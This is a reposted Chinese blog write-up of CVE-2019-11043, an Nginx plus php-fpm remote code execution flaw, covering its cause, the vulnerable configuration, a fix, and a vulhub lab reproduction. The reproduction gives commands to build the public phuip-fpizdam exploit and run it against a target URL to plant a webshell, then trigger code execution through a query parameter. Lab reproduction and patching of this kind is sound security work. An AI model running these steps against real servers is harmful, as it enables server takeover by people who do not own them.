首页 > Web开发 > 详细

CVE-2019-11043-Nginx PHP 远程代码执行

时间:2020-04-20 22:29:28      阅读:81      评论:0      收藏:0      [点我收藏+]

漏洞原因

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

修复建议

1.在不影响正常业务的情况下,删除Nginx配置文件中如下配置:

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

 

前提条件

1.Nginx + php-fpm 的服务器

2.以下复现得poc仅用于php7,php5.3另外有poc才生效

 

环境搭建

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

启动环境后,您可以在看到默认页面http://your-ip:8080/index.php

POC是go语言编译,需要此工具来重现该漏洞  https://github.com/neex/phuip-fpizdam

复现参考
 
1.下载工具

git clone https://github.com/neex/phuip-fpizdam.git

cd phuip-fpizdam

go build  #编译

要有go环境,没有go环境的话使用下面命令安装go环境

apt-get install golang -y

2.编译好后,文件内出现phuip-fpizdam可执行文件

技术分享图片

我这里环境编译有问题,所以以下的标准复现过程

技术分享图片

3. 使用可执行文件 +目标 会生成webshell

./phuip-fpizdam http://目标ip:8080/index.php

 技术分享图片

一个Webshel??l是在PHP-FPM的后台编写的,请访问http://your-ip:8080/index.php?a=id以触??发RCE

技术分享图片

CVE-2019-11043-Nginx PHP 远程代码执行

原文:https://www.cnblogs.com/null1433/p/12740758.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!